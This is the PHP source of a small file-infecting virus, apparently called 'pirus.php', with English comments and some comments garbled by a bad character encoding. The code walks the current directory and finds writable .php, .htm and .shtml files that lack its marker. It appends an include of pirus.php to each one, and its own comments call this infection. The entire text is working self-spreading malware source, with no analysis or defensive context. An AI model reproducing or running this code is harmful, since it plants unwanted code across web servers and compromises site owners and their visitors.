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$loc=opendir('.'); //This opens the current directory the php file is in
//»òÕßÓÃ $path=str_replace('\\','/',dirname(_FILE_));
// $loc=@opendir($path); ´úÌæÉÏÃæÄÇÒ»ÐÐÒ²¿ÉÒÔ¡£
while ($file = @readdir($loc)) //makes a looop so it works while there is still an un-infected file
{ $infected=true; //making sure we dont infect this file
$caniwrite=false;
if ( ($caniwrite = strstr ($file, '.php')) || ($caniwrite = strstr ($file, '.htm')) || ($caniwrite = strstr ($file, '.php')) || ($caniwrite = strstr ($file, '.shtml')) ) //checking if the file has the correct extension
if ( is_file($file) && is_writeable($file) ) //making sure we can output to the file
{
$output = fopen($file, "r"); //opening file for reading
$contents = fread ($output , filesize ($file)); //getting some info for checking
$mine = strstr ($contents, 'pirus.php'); //is it our file?
if(!$mine ) $infected=false; //if the file is not this one, say it is not infected
}
//infection
if (($infected==false))
{
$output = fopen($file, "a"); //open it for appending
fputs($output ,"<?php ");
fputs($output ,"include(\"");
fputs($output ,"pirus.php");
fputs($output ,"\"); ");
fputs($output ,"?>");
fclose($output ); //closing file
}
}
closedir($loc);
return;
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